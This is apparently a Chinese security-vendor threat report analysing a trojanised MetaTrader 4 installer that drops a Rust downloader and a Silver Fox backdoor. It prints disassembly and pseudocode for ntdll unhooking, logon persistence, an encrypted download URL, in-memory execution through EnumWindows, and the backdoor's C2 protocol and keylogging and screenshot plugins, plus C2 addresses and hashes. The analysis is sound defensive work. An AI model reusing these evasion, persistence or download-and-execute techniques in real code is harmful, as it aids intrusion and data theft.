交易用户风险预警:仿冒MetaTrader安装包捆绑Rust恶意程序投递银狐后门

概述

  近期,瑞星威胁情报中心捕获一起瞄准交易群体的恶意攻击:攻击者仿冒MetaTrader交易软件分发载体,借助ExeBundler捆绑包搭载带正规签名的MetaTrader 4安装程序作为掩护,后台释放Rust下载器,通过权限探测、持久化落地、无文件内存加载等手段,最终投递疑似银狐生态远控模块。该远控连接指定C2服务端建立通信,具备命令执行、屏幕捕获、键盘记录、剪贴板窃取等全套高危控制能力。

事件详情

  本次分析的样本为Mt4setup.zip(下载自:hxxps://pc.dyappdows.xyz/p8/Mt4setup.zip),该压缩包内只有一个名为Mt4setup.exe的文件,对外伪装成MetaTrader交易软件的安装包。该文件实际是一个由ExeBundler生成的捆绑加载器,其文件尾部的BNDL3.0容器中封装了两个文件:一个是Rust编写的恶意程序WinConnectService.exe,另一个是带有MetaQuotes Ltd.有效数字签名的正版MetaTrader 4安装程序mt4setup.exe。

  载荷执行后完成两项动作:将两个组件解密释放至%TEMP%目录并依次启动;利用正版安装程序转移用户视线,同时在后台唤起下载器。下载器通过net session判断当前权限,依据权限选择登录计划任务或登录脚本实现持久化;随后从内置密文中解析出远程地址,拉取后续阶段载荷,将其写入可读写可执行内存,并借助EnumWindows回调完成载荷执行。

  真正的远控能力位于最后一环:下载得到的cx_config.5.18.8.bin并非配置文件,而是支持双向认证的模块加载器。该加载器读取内置配置,连接至13.196.214.159:5188,分块接收服务端下发的设备模块.dll,在内存中完成反射加载并调用导出函数DM_Start,由此搭建完整远控通道,可实现远程命令执行、文件管理、屏幕截取、键盘记录、剪贴板读写、服务与令牌操控、新增防火墙规则等功能。

攻击流程

  受害者在投递站点pc.dyappdows.xyz下载Mt4setup.zip,解压获得伪装为MetaTrader 4安装包的Mt4setup.exe;该程序将正版mt4setup.exe与恶意程序WinConnectService.exe释放至%TEMP%,先启动正版安装器展示正常安装界面迷惑用户,再后台拉起WinConnectService.exe,由其从hxxps://api.appstore.name/pujing/cx_config.5.18.8.bin下载载荷并在内存解密执行,随后cx_config.5.18.8.bin连接13.196.214.159:5188,继续在内存下载并运行银狐设备模块.dll。

image

样本分析

初始样本Mt4setup.zip分析

字段 内容
原始文件名 Mt4setup.zip
文件大小 5.18 MB(5,435,329 字节)
文件MD5 0ce0a45ae22cb19d04c10d035b8a6bcc
文件类型 ZIP压缩包

  样本Mt4setup.zip获取自投递站点hxxps://pc.dyappdows.xyz/p8/Mt4setup.zip,解压后仅有Mt4setup.exe。

image

初始样本Mt4setup.exe分析

字段 内容
原始文件名 Mt4setup.exe
文件大小 7.09 MB(7,435,893 字节)
文件MD5 61e69d701f70d18c5caf304bbc429224
文件类型 EXE
病毒名 Dropper.Agent/x64!1.14B1A
主要功能 解密并释放捆绑的两个文件到%TEMP%

  Mt4setup.exe是整条攻击链的入口:对外包装为MetaTrader 4安装程序,本质为ExeBundler捆绑加载器。文件尾部的BNDL3.0容器内嵌两份载荷,分别是使用Rust开发的恶意程序WinConnectService.exe,以及携带MetaQuotes Ltd.有效数字签名的正版MetaTrader 4安装程序mt4setup.exe。

  Mt4setup.exe运行后读取自身尾部加密容器,解密并将正版MetaQuotes安装程序与Rust恶意程序WinConnectService.exe释放至%TEMP%,优先启动正版mt4setup.exe展示正常安装界面迷惑用户,随后在后台唤起恶意程序WinConnectService.exe。这套 “正版外壳 + 恶意内衬” 的组合,既可削弱用户警惕性,也为后续恶意载荷执行争取运行窗口。

image

// Mt4setup.exe 主流程(伪代码)
hSelf = CreateFileW(selfPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, ...);
size  = GetFileSizeEx(hSelf);
SetFilePointerEx(hSelf, size - signatureLen - 0x228, NULL, FILE_BEGIN);
ReadFile(hSelf, &hdr, 0x228, ...);                    // 文件尾 552 字节容器头
if (memcmp(hdr.magic, "BNDL3.0", 8) != 0) return;

for (i = 0; i < hdr.count; i++) {
    // 条目头:u32 size + u32 flag + wchar_t name[260]
    xor_decrypt(&entryHdr, hdr.key, 0x210);              // 528 字节条目头,16 字节循环异或
    xor_decrypt(entryData, hdr.key, entryHdr.size);      // 每个条目独立从索引 0 重新计数
    dir  = ExpandEnvironmentStringsW(hdr.dir);           // "%TEMP%"
    path = dir + L"\\" + entryHdr.name;
    WriteFile(CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
                          FILE_ATTRIBUTE_NORMAL, NULL),
              entryData, entryHdr.size, ...);
}

pInstaller = entry_with_flag(2);                        // 正版安装器:先启动,不等待
pBackdoor  = entry_with_flag(1);                        // 恶意组件(下载器):随后启动
CreateProcessW(pInstaller->path, ...);
CreateProcessW(pBackdoor->path, ...);
WaitForSingleObject(pi.hProcess, INFINITE);              // 等待下载器退出

WinConnectService.exe分析

字段 内容
原始文件名 WinConnectService.exe
文件大小 1.87 MB(1,960,837 字节)
文件MD5 8b9253c44fde1797ada4fa5a0354413f
文件类型 EXE
病毒名 Downloader.Agent!1.14B24
主要功能 计划任务/登录脚本持久化 + 下载执行下一阶段载荷

  WinConnectService.exe为Rust编写的恶意程序,文件大小约1.9 MB,其中约1.5 MB左右 属于无效填充数据,实际有效代码仅约371 KB;这种 “大体积、轻逻辑” 的构造,是低成本规避检测的手段。它在攻击链中承担 “执行官” 角色,核心动作包含ntdll重载、权限探测、配置自启、下载载荷内存执行等。

1. ntdll重载抹除用户态钩子

  WinConnectService.exe在程序入口优先执行ntdll重载反挂钩:读取磁盘上的ntdll.dll,使用原始字节覆盖进程内ntdll的代码段。该操作可擦除EDR/AV在ntdll函数入口植入的内联钩子,且仅覆盖代码段。该逻辑排在网络通信、持久化等恶意动作之前,是样本首要的对抗规避手段。以下是详细分析:

  通过CreateFileW、SetFilePointerEx、NtReadFile将磁盘上C:\Windows\System32\ntdll.dll完整读取至堆缓冲区。

; 打开磁盘上的 ntdll.dll(路径常量 RVA 0x4E788,长度 29)
1400034A5  lea    rcx, [rip + 0x4b2dc]   ; "C:\Windows\System32\ntdll.dll"
1400034B4  mov    edx, 0x1d               ; 29 = 路径长度
1400034B9  call   0x140033740             ; CreateFileW 封装,返回文件句柄
140003577  call   SetFilePointerEx        ; 指针归零(FILE_BEGIN)
140003738  call   NtReadFile              ; 整份读入堆缓冲区,缓冲区基址存 [rsp+0x58]

  宽字符串ntdll.dll采用分段拼接构造,先写入一个宽字符L"n",再将以UTF‑8存储的tdll.dll逐码点解码为UTF‑16追加。

; 现拼宽字符串 L"ntdll.dll"
140003883  mov    word ptr [rax], 0x6e    ; 先写 L"n"
1400038A8  lea    r14, [rip + 0x4aef7]    ; "tdll.dll"(首字符已被拆走)
1400038DF  mov    word ptr [rax + rdi*2], bp   ; UTF-8 → UTF-16 转换写回堆缓冲

  调用GetModuleHandleW获取进程内已加载ntdll的基址,解析PE头,使用立即数0x747865742E(代表.text)匹配代码区段,提取该段的VirtualAddress、SizeOfRawData、PointerToRawData。

;  取内存中 ntdll 基址
140003A42  call   GetModuleHandleW        ; 参数即上一步拼出的 L"ntdll.dll"

; 定位 .text 区段(区段头 40 字节,比较前 5 字节名称)
140003A7B  movabs r9, 0x747865742E        ; ".text"
140003A90  mov    r10d, [rcx + rdx]       ; Name[0..3]
140003A94  movzx  r11d, byte ptr [rcx + rdx + 4]   ; Name[4]
140003AA1  cmp    r11, r9                 ; 与 ".text" 比对
140003AB1  mov    r8d,  [rcx + rdx + 0xC] ; VirtualAddress
140003AB6  mov    ebx,  [rcx + rdx + 0x10]; SizeOfRawData
140003ABA  mov    r14d, [rcx + rdx + 0x14]; PointerToRawData

  调用VirtualProtect,尝试将.text权限临时修改为PAGE_EXECUTE_READWRITE(可读可写可执行);若该调用失败,则直接静默跳过后续流程。权限修改成功时,使用磁盘原版镜像覆盖内存中的代码段,拷贝完成后恢复原有页保护。

; 改属性 → 覆盖 → 恢复
140003ACA  add    rax, r8                  ; 模块基址 + VirtualAddress
140003ADE  mov    r8d, 0x40                ; PAGE_EXECUTE_READWRITE
140003AE4  call   VirtualProtect
140003AED  add    r14, [rsp + 0x58]        ; 文件缓冲区 + PointerToRawData
140003AFB  call   memcpy                  ; dest = ntdll!.text,len = SizeOfRawData
140003B16  call   VirtualProtect           ; 用保存的旧属性恢复

2. 权限探测与双重持久化

  WinConnectService.exe准备了两条自启路径:登录计划任务与登录脚本,二者触发条件相互独立。若具备管理员权限,样本会在运行早期注册登录计划任务,待载荷拉取成功后再写入登录脚本,完成双重持久化;在普通用户权限下,无法创建目标计划任务,仅会在载荷下载成功后部署登录脚本。以下是详细分析:

  程序启动后会调用系统自带net session完成权限检测:普通用户权限执行该命令将返回拒绝访问,退出码为2;管理员权限下正常执行,退出码为0,样本依靠比对该退出码完成权限判定。

0x140003CCB  call  0x14003F500        ; Command::output("net", ["session"])
0x140003CD5  mov   rax, [rsp + 0x60]  ; 子进程退出码
0x140003CDA  cmp   rax, 2             ; 是否等于 2(拒绝访问)
0x140003CDE  jne   0x140003CE8        ; 不等于 2:继续解析输出
0x140003CE0  mov   r14, rbx
0x140003CE3  jmp   0x1400042A3        ; 等于 2:跳过管理员分支

  登录计划任务:退出码为0时,表示进程拥有管理员权限,程序会在启动早期调用计划任务接口,注册一项登录触发的计划任务:每当用户登录,该任务将以当前用户可获得的最高权限静默重启载荷,执行过程采用隐藏窗口,受害者不会察觉到异常弹窗。当退出码为2,程序跳过该管理员专属分支。

项目 实际内容 说明
任务名称 \WinConnectService 注册在任务计划程序根目录下的名字
触发时机 用户登录(LogonTrigger) 每次用户登录Windows时自动运行
运行身份 当前用户(InteractiveToken) 使用已登录用户的身份,不需要另建账户或输入密码
运行权限 最高可用(HighestAvailable) 任务计划程序以该用户可用的最高权限启动;用户属于管理员组时以管理员令牌运行,且不弹UAC
启动方式 cmd.exe /c start "" "" 由系统命令代为启动样本自身
载荷路径 %TEMP%\WinConnectService.exe 实际感染时下载器释放到临时目录
任务状态 Ready 任务已启用,等待登录触发

  登录脚本注册表:载荷成功取回之后,样本在HKCU\Environment项下新建UserInitMprLogonScript字符串值(REG_SZ),键内容为cmd.exe /c start "" "",以此将WinConnectService.exe注册为当前用户登录脚本;用户登录时,系统将自动读取并执行该条目。

0x1400047D5  mov     dword ptr [rsp + 0x28], 0xF003F   ; KEY_ALL_ACCESS
0x1400047E5  mov     rcx, 0xFFFFFFFF80000001           ; HKEY_CURRENT_USER
0x1400047EC  mov     rdx, rbx                          ; "Environment"
0x1400047F5  call    RegCreateKeyExW
...
0x1400063B2  lea     rdx, [rip + 0x4847E]              ; "UserInitMprLogonScript"
0x1400063C1  mov     r8d, 0x16                         ; 22
0x1400063EF  mov     r9d, 1                            ; REG_SZ
0x1400063F5  call    RegSetValueExW

3. 藏在密文里的下载地址

  攻击者刻意避免在静态文件中留下可被字符串检索到的“路标”,真实下载地址没有以明文形式出现在样本里,而是以 54 字节密文存放在WinConnectService.exe的文件偏移0x4CCC0。样本先取常量0x7742767E作为输入,调用一段取址函数;该函数采用控制流平坦化写法,把几步算术拆成多个分支,用状态变量逐轮分派异或、取反、取负、乘法和减法,最终算出偏移0x11C9,再与映像中的固定基址相加定位到密文;随后把密文按 6 个 8 字节、1 个 4 字节、1 个 2 字节切开,逐段按小端读入并加上固定常量,拼出完整地址:hxxps://api.appstore.name/pujing/cx_config.5.18.8.bin。

0x140004BC5  mov    dword ptr [rsp+0x50], 0x7742767E   ; 取址函数输入
0x140004BDE  call   0x1400017B0                       ; 返回密文偏移 0x11C9
0x140004BE3  movabs rcx, 0x12E326A0CAAD8F06
0x140004BED  add    rcx, qword ptr [rax+0x00]         ; 第 1 段:8 字节
0x140004BF0  movabs rdx, 0x9474DB9CB0D4AADB
0x140004BFA  add    rdx, qword ptr [rax+0x08]         ; 第 2 段:8 字节
0x140004BFE  movabs r8, 0xF673BB36EFECDFFF
0x140004C08  add    r8, qword ptr [rax+0x10]          ; 第 3 段:8 字节
0x140004C0C  movabs r9, 0xAC829DE6A3B24C3C
0x140004C16  add    r9, qword ptr [rax+0x18]          ; 第 4 段:8 字节
0x140004C1A  movabs r10, 0xFF7D99D118FA6D59
0x140004C24  add    r10, qword ptr [rax+0x20]         ; 第 5 段:8 字节
0x140004C28  movabs r11, 0x58C2BB93C4B461B2
0x140004C32  add    r11, qword ptr [rax+0x28]         ; 第 6 段:8 字节
0x140004C36  mov    esi, 0xF9AB552B
0x140004C3B  add    esi, dword ptr [rax+0x30]         ; 第 7 段:4 字节
0x140004C3E  movzx  eax, word ptr [rax+0x34]
0x140004C42  add    eax, 0xFFFFE92C                  ; 第 8 段:2 字节
; 8 段结果拼成 https://api.appstore.name/pujing/cx_config.5.18.8.bin

4. 取回载荷与烟幕请求

  拿到地址后,样本通过系统自带的网络组件取回下一阶段载荷cx_config.5.18.8.bin;失败时按 15 分钟间隔重试,最多三次;三次尝试都失败后,程序调用Rust的panic路径并执行ud2指令,以异常方式结束当前进程。载荷落位后,它还会访问一次正规的安全资讯服务,把美国CISA的安全公告源包装成一次普通的资讯浏览,这次请求只是烟幕,不是指挥通道。对防守方而言,这类“合法服务 + 正常浏览器特征”的流量最容易混在背景噪声里。

; 下载下一阶段载荷
0x140004CA0  lea    rcx, [rip+0x49B08]      ; User-Agent
0x140004CAF  call   InternetOpenA
0x140004CD1  lea    rdx, [rsp+0x50]         ; 还原出的下载地址
0x140004CDF  call   InternetOpenUrlA
0x140004D30  mov    rcx, r15                ; hInternet
0x140004D33  mov    rdx, r12                ; 4 KB 缓冲区
0x140004D36  mov    r8d, 0x1000
0x140004D3C  mov    r9, r13                 ; 实际读取长度
0x140004D3F  call   InternetReadFile
0x140004D7E  add    rdi, rbx                ; 累计写入长度
0x140004D89  jmp    0x140004D30             ; 循环读取
0x140004DDD  mov    ecx, 0xDbba0            ; 900000 ms = 15 分钟
0x140004DE2  call   Sleep                   ; 失败后休眠 15 分钟再试,第 3 次失败则退出

; 载荷执行后的烟幕请求
0x1400054C6  lea    rcx, [rip+0x492E2]      ; 同一 User-Agent
0x1400054D5  call   InternetOpenA
0x1400054F3  lea    rdx, [rip+0x49358]      ; rss2json + CISA RSS
0x140005503  call   InternetOpenUrlA
0x140005547  call   InternetReadFile        ; 只读 0x200 字节
0x14000554F  call   InternetCloseHandle

5. 内存执行载荷

  下载的载荷cx_config.5.18.8.bin不会落盘,而是被写入一块可执行内存;写入过程被拆成随机大小的块,并在块与块之间插入短暂停顿,拉长写入窗口,规避基于瞬时内存扫描的检测。写入完成后,样本没有使用显式的跳转指令,而是把这块内存的基址交给系统的窗口枚举回调,由系统在枚举窗口时“顺手”执行;随后进程进入消息循环常驻。

0x140005636  mov     rcx, r14        ; lpEnumFunc = 内存中的载荷
0x140005639  xor     edx, edx        ; lParam = 0
0x14000563B  call    EnumWindows     ; 借系统回调执行

cx_config.5.18.8.bin 分析

字段 内容
原始文件名 cx_config.5.18.8.bin
文件大小 16.8 KB(17,239 字节)
文件MD5 3f71ed87003b4f0b65e7723d2ae2e4a7
病毒名 Trojan.Kryptik/x64!1.14B28
主要功能 解出C2并加载最终远控模块

  该文件名义上为配置文件,实际是一个加壳的x64装载器:首先解包外层壳,随后从自身数据段解密取出配置,最后依据配置连接远端服务器,拉取远控模块并在内存中执行。

  1. 脱壳:文件末尾0x4315处有 66 字节stub,它先改写开头0x0C–0x1F的 5 个 dword,得到滚动异或解密器;解密器从0x4314向0x2E反向逐字节执行plain = cipher ^ key; key += plain,共还原0x42E7字节。解完后,0x2E起就是可执行的x64代码。

0x4315  EB 05                 jmp  0x431C
0x431C  5A                    pop  edx          ; edx = call 压栈的返回值 5
0x4328  C1 42 07 DC           rol  dword [edx+0x7], 0xDC
0x4334  C1 42 0B EE           rol  dword [edx+0xB], 0xEE
0x433C  C1 4A 0F 4C           ror  dword [edx+0xF], 0x4C
0x434B  F7 52 13              not  dword [edx+0x13]
0x4352  F7 52 17              not  dword [edx+0x17]
0x4355  FF E2                 jmp  edx

  2. 解出配置里的C2:脱壳后的代码先在自身数据里找 7 字节标记25 40 29 21 23 21 24,标记后紧跟0x1D0字节密文。代码以0xC0DEFACE为种子生成密钥流,逐字节异或;密钥流每个字节由hash(seed - i * 0x61C88647)取低 8 位得到。

0x00DA  movsxd rcx, edx
0x00DD  mov    ebx, 0x1D0
0x00E2  add    rcx, r8
0x00E5  mov    r8d, 0xC0DEFACE
0x00EB  mov    edx, ebx
0x00ED  add    rcx, 7
0x00F8  call   0x9F2                        ; 流式异或解密 0x1D0 字节
0x0109  cmp    dword ptr [r8], 0x32564D44  ; "DMV2"
0x0112  cmp    dword ptr [r8+4], ebx        ; 长度 0x1D0
0x0118  cmp    dword ptr [r8+8], 2          ; 版本 2
0x0122  cmp    byte ptr [r8+rax+0x16C], r14b ; 客户端 ID 非全零

  解密后先校验四个条件:头是0x32564D44(按小端读作DMV2,疑似Device Module v2的缩写)、长度是0x1D0、版本是2、+0x16C处 32 字节客户端ID非全零。四项都通过,才认为这是一份有效配置;随后按固定偏移取值。

偏移 字段 实际值 作用
0x00 文件头 DMV2、长度0x1D0、版本2 配置块标识,定义该配置结构格式与版本
0x0C C2地址 13.196.214.159 远端命令控制服务器 IP
0x10B 目录/密钥 0685DD72000061FD 用作本地缓存目录名称;同时作为 16 字节重复异或密钥
0x154 端口 0x1444(十进制 5188) 连接C2的TCP端口
0x15C 密钥材料 16 字节 预共享秘密,作为KDF输入,派生c2s / s2c会话密钥
0x16C 客户端ID 32 字节 与密钥材料一起送入KDF,并作为客户端身份

  3. 联网下载后续载荷:

  • 先和13.196.214.159:5188建立连接:程序从配置里取出服务器地址和端口,发起一条原始TCP连接。它没有使用浏览器或HTTPS,而是自己管理套接字(把发送和接收超时都设为 5 秒,避免网络卡住时进程一直等)
  • 开启TCP保活,让系统定期探测连接是否还活着
  • 把收发缓冲区都调到 64 KB,为后续分块传输模块留出空间
  • 连接失败或中途断开时,程序不报错退出,而是等 5 秒后重新连接,尽量维持这条通道。
; 创建套接字并设置超时、保活、缓冲区
0x3C27  call   qword ptr [rdi+0xB8]    ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
0x3C2D  mov    ecx, 0x1388             ; 5000 ms
0x3C70  mov    dword ptr [rbp+0x1C0], 0x10000
0x3C7F  call   qword ptr [rdi+0xF8]    ; setsockopt:超时/保活
0x3CA0  call   qword ptr [rdi+0xF8]    ; setsockopt:收发缓冲区

; 取 config+0x0C 的服务器地址,取 config+0x154 的端口
0x3D31  mov    rcx, qword ptr [rdi+0x188]
0x3D42  add    rcx, 0x0C
0x3D49  call   qword ptr [rdi+0xC0]    ; getaddrinfo
0x3D72  movzx  ecx, word ptr [rax+0x154]
0x3D79  call   qword ptr [rdi+0xD0]    ; htons
0x3D9B  call   qword ptr [rdi+0xD8]    ; connect

  连上后先验身份。双方各有一份 16 字节的预共享密钥材料,配置里还有 32 字节客户端ID;握手时双方再各自生成随机数,连同握手过程记录一起送入Magnet Wire v2的密钥派生流程。这个流程不直接传输密钥材料,而是派生出两把会话密钥:c2s key用于客户端发往服务器的数据,s2c key用于服务器发往客户端的数据;同时算出client proof和server proof,双方互相校验,确认对面持有同一份密钥材料。这样即使有人截获流量,也拿不到原始密钥,无法冒充服务器或客户端。

; 发送 34 字节、类型 2 的握手包
0x3DFD  mov    r9b, 2                 ; type = 2
0x3E00  mov    r8b, 0x22              ; length = 0x22
0x3E0B  call   0x2C02                 ; 组包并发送握手

  认证通过后进入报文阶段。每个报文头带magic=1、协议版本 2、消息类型和递增序号,正文用本次会话的密钥加密,末尾附CRC32校验。接收方检查序号,重复或过旧的报文会被丢弃,防止攻击者把之前的指令重新播放;CRC32则用于发现传输过程中的损坏或被篡改。也就是说,这条通道既有加密,也有完整性和防重放。

; 发送端组包
0x2C36  cmp    dword ptr [rdx], 1          ; magic = 1
0x2C8B  mov    byte ptr [rcx+4], r15b      ; 消息类型
0x2C8F  mov    byte ptr [rcx+6], al
0x2C92  mov    byte ptr [rcx+5], r14b
0x2C96  mov    byte ptr [rcx+7], 2         ; 协议版本 = 2
0x2C9A  mov    rbx, qword ptr [rbp+0x1E0]
0x2CA5  lea    rax, [rbx+1]
0x2CAC  mov    qword ptr [rbp+0x1E0], rax ; 序号自增
0x2CB3  call   0xB42                       ; 把序号写入报文头
0x2D59  call   0xC42                       ; 发出报文

; 接收端校验
0x2DB6  cmp    dword ptr [rdx], 1          ; magic = 1
0x2E00  cmp    byte ptr [rsp+0xBF], 2      ; 版本 = 2
0x2E48  call   0xB02                       ; 取出报文序号
0x2E50  cmp    rax, qword ptr [rbx+0x1E8] ; 与期望序号比较
0x2E57  jne    0x2EC8                       ; 不一致则丢弃

; CRC32
0x0BA6  and    ecx, 0xEDB88320             ; CRC32 多项式
0x406A  call   0xB82                       ; 累计 CRC
0x40A5  not    r8d                         ; 取反后比对

  通道建好后开始取模块。服务器把压缩模块分块发下来,cx_config边收边拼,拼完整后按配置里的 16 字符标识做重复异或,写到%ProgramData%\0685DD72000061FD\1。这个文件只是压缩模块的缓存,不是可直接执行的PE;程序随后把它读回、解压,得到银狐远控模块设备模块.dll,再在内存中完成映射和导入修复,按导出名哈希找到DM_Start并调用。

; 1) 按消息类型接收模块
0x3EB0  mov    al, byte ptr [rbp+0x1C8]    ; 消息类型
0x3EB6  cmp    al, 0x1F                     ; 模块分块
0x3FED  cmp    al, 0x20
0x408A  cmp    al, 0x21

; 2) 拼完后异或写入 ProgramData\<目录>\1
0x2FF9  call   qword ptr [rdi+0x18]         ; 分配路径缓冲区
0x3036  call   r10                          ; SHGetFolderPathA(CSIDL_COMMON_APPDATA)
0x3076  call   0x7A2                        ; 追加 0685DD72000061FD
0x3F6E  mov    rdx, qword ptr [rdi+0x188]
0x3F7C  add    rdx, 0x10B                   ; 目录/异或密钥
0x3F8B  mov    dword ptr [rdi+0x180], r13d ; 模块长度
0x3F92  call   0x3822                       ; 异或、CreateFile、WriteFile

; 3) 读回、解压、反射加载
0x398D  mov    edx, dword ptr [rdi+0x180]
0x3993  mov    rcx, qword ptr [rdi+0x178]
0x399D  call   0x3342                       ; 解压
0x39CC  mov    rdx, rbp                      ; 解压后的 PE
0x39D2  call   0x3542                       ; 反射加载

; 4) 按导出名哈希调用 DM_Start
0x37EB  mov    edx, 0x2EC07661               ; DM_Start 的导出哈希
0x37F3  call   0x31E2                       ; 查找导出
0x3804  call   rax                          ; DM_Start(config)

设备模块.dll分析

字段 内容
文件名 设备模块.dll
文件MD5 1ec2c2783c3e3fb3848087661634a8a8
文件大小 0.50 MB(519,680 字节)
文件类型 DLL
病毒名 Backdoor.SilverFox!1.14B30
备注 银狐远控模块

  攻击者通过cx_config.5.18.8.bin投递加密模块,在内存中完成解密并加载,解密后的实体即为设备模块.dll。该模块有两个导出函数:DM_Start和DM_Stop。DM_Start接收配置并启动会话,DM_Stop负责停止会话、释放资源。模块所需全部配置项,如C2、端口、目录、密钥和客户端ID全部来自cx_config.5.18.8.bin,所以此次通信的C2仍为:13.196.214.159:5188。

  该模块具备完整的远控能力,支持会话管理、命令执行、文件传输、防火墙规则写入,并采用插件化架构按需加载键盘记录、截屏、剪贴板捕获等采集模块,同时批量搜刮浏览器隐私与系统资产信息;通信依托独立加密协议,依靠备用C2与动态加载插件提升存活与扩展能力。

1. 数据采集

  采集MachineGuid、系统版本、显示设备/显卡、磁盘(卷信息与剩余空间)、物理内存、杀毒软件(WMI)、网卡、安装软件、浏览器以及UAC开关与RDP端口等数据信息,C2建立通信成功后加密上传。

0x12534  cpuid                         ; CPU 品牌串
0x1267C  call  EnumDisplayDevicesW     ; 显卡适配器与驱动
         call  GlobalMemoryStatusEx    ; 物理内存,折算为 GB
0x12760  call  GetLogicalDrives        ; 磁盘
         call  GetDriveTypeW
         call  GetDiskFreeSpaceExW
0x12398  call  GetAdaptersAddresses    ; 网卡地址与网关
0x1317C  call  0x12D24                 ; 杀毒软件,WMI ROOT\SecurityCenter2
0x129E0  ...                           ; 主板与固件,WMI FriendlyName
0x12194  call  GetLocalTime            ; 系统时间与时区
         call  FileTimeToSystemTime
0x13800  ...                           ; EnableLUA 开关与 RDP 端口

2. 建立通信

  该模块在建立会话前先校验配置头:DMV2标记、结构长度0x1D0、协议版本2,任一不符即拒绝启动;校验通过后取出密钥准备握手,解析C2地址,用非阻塞TCP连接,总超时上限 10 秒。连上之后走Magnet Wire v2双向认证,生成两套独立的收发密钥,在TCP之上实现可靠传输。认证成功启动事件循环,上报采集的信息,后续收到指令交给分发函数0x495CC处理。

; 校验并拷贝 DMV2 配置
0x53C0B  cmp   dword ptr [rcx], 0x32564D44    ; 'DMV2'
0x53C12  cmp   dword ptr [rcx+4], 0x1D0       ; 结构长度
0x53C19  cmp   dword ptr [rcx+8], 2           ; 协议版本
0x4B78B  call  0x16D8                         ; 派生 psk / key id

; 解析 C2 地址
0x63B4   call  htons
         call  getaddrinfo                    ; AF_INET + SOCK_STREAM
         call  freeaddrinfo

3. 收发远控指令

  该远程控制协议指令集完备,覆盖会话生命周期管理、探活确认、交互式命令执行、文件上传下载、分块传输、配置备用C2、系统服务管理与添加防火墙规则等能力。以下是对远控功能的解析:

18004A0C0  cmp   ecx, 0x29
18004A0C3  jg    0x18004A46E
18004A0C9  je    0x18004A405               ; 0x29
18004A0CF  cmp   ecx, 0x12
18004A0D2  je    0x18004A30C               ; 0x12
18004A0D8  cmp   ecx, 0x13
18004A0DB  je    0x18004A1A3               ; 0x13
18004A0E1  cmp   ecx, 0x1E
18004A0E4  jle   0x18004A55A               ; <0x1E 丢弃
18004A0EA  cmp   ecx, 0x21
18004A0ED  jle   0x18004A0FD               ; 0x1E..0x21 → 公共入口
18004A0EF  cmp   ecx, 0x23
18004A0F2  je    0x18004A0FD
18004A0F4  cmp   ecx, 0x26
18004A0F7  jne   0x18004A55A
18004A0FD  lock cmpxchg [rsi+0x49d8], rdi  ; 取文件/任务对象

程序/命令执行

  通过CreateProcessW拉起进程,支持指定路径、命令行与工作目录;进程启动后立刻关闭句柄,默认不接管输出,如需回显会调用独立管道例程捕获标准流。或者使用ShellExecuteExW,依靠系统文件关联启动程序、打开文档或访问URL。

0x18000F34F  call  qword ptr [KERNEL32.dll!CreateProcessW]     ; 0x07 直接执行
0x18000F44A  call  qword ptr [SHELL32.dll!ShellExecuteExW]     ; 0x08 Shell 执行

文件管理

  支持文件浏览、上传、下载、删除、移动以及属性修改。请求首字节为子命令,后跟路径与参数,交由0x489A0完成解析与分派;真正的文件读写、目录操作最终转发至0xF5FC系列例程执行。

0x180010642  call qword ptr [KERNEL32.dll!CreateFileW]
0x180010677  call qword ptr [KERNEL32.dll!WriteFile]
0x1800160B7  call qword ptr [KERNEL32.dll!FindFirstFileW]
0x18001697F  call qword ptr [KERNEL32.dll!MoveFileExW]

下发备用地址

  把服务端下发的地址写入BACKUP_ADDR.LIST,供后续重连使用。

lea     r8, aBackupAddrList   ; "BACKUP_ADDR.LIST"
call    sub_180011500         ; 拼接目标路径
call    sub_1800167B8         ; 写入地址列表

下载执行

  解析下载任务,创建工作线程,完成下载、落盘和启动。

; 缺省文件名 download.exe
lea     rdx, aDownloadExe       ; "download.exe"
call    sub_1800047CC
; 没有扩展名时补 .exe
lea     rdx, aExe               ; ".exe"
call    sub_18000D478
; 进入下载流程并记录 URL
call    sub_1800108FC
lea     r9, aUrlLs              ; "url=%ls"

添加防火墙规则

  该功能直接调用Windows COM接口:

  • 通过CLSID{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}(NetFwPolicy2)实例化策略对象,获取INetFwPolicy2({98325047-C671-4174-8D81-DEFCD3F03186})对应的规则集合,再依据下发载荷逐条构造INetFwRule并写入防火墙规则
  • 该逻辑由FirewallAdd指令驱动,处理结果分为三种状态回传:FirewallAddOK、FirewallAddexists、FirewallAddfailed;若失败,则返回FirewallAddpayloaddecodefailed
0x1800334E0  call qword ptr [ole32.dll!CoInitializeEx]
0x18003352C  call qword ptr [ole32.dll!CoCreateInstance]     ; CLSID_NetFwPolicy2
0x180033604  call qword ptr [ole32.dll!CoCreateInstance]     ; 规则对象(NetFwRule)
0x180033681  call qword ptr [ole32.dll!CoUninitialize]

  命令汇总如下:

命令ID 功能
0x02 会话停止/拆除:置会话标志位后唤醒发送线程收尾
0x03 短确认帧:告知对端上一块已收到并维持会话
0x05 单通道停止
0x07 CreateProcessW执行
0x08 ShellExecuteExW执行
0x09 卸载退出:清目录、关对象、exit(0)
0x0A 空应答/探活
0x0B 文件管理
0x0C 下发备用地址,写入BACKUP_ADDR.LIST
0x0D 上传元信息,用于描述紧随其后的数据块
0x11 下载执行
0x12 文件传输控制
0x13 文件传输分块
0x1F 分块传输:元信息
0x20 分块传输:数据块
0x21 分块传输:结束确认
0x23 插件命令
0x26 插件命令
0x29 状态查询应答
0x2A 客户端上传数据块
0x2C 服务端下发数据块
0x2D 服务控制
0x2E 防火墙规则添加

4. 插件体系

  除内置后端,该远控模块还支持扩展功能:在配置指定的工作目录(本次为%ProgramData%\0685DD72000061FD)下拼接Modules\x64\,从该目录动态加载额外功能DLL

类别 ID 注册名 后端类名 功能
2 KEYLOG InputCaptureWinBackend 键盘/鼠标输入捕获、键盘记录
3 SHOT / ASHOT ScreenshotWinBackend 全屏截图、区域截图
4 NETWORK / ANETWORK / BNETWORK NetworkTableWinBackend 本机网络连接表、连接管理
5 CLIPBOARD / ACLIPBOARD / BCLIPBOARD ClipboardWinBackend 剪贴板读取、写入、清空
6 FILTER / AFILTER FilterProbeWinBackend 过滤器/探针,配合截屏与输入捕获
lea     r9, aKeylog          ; "KEYLOG"
mov     r8d, 2
call    sub_1800427E4
lea     r9, aAshot           ; "ASHOT"
mov     r8d, 3
call    sub_1800427E4
lea     r9, aAnetwork        ; "ANETWORK"
mov     r8d, 4
call    sub_1800427E4
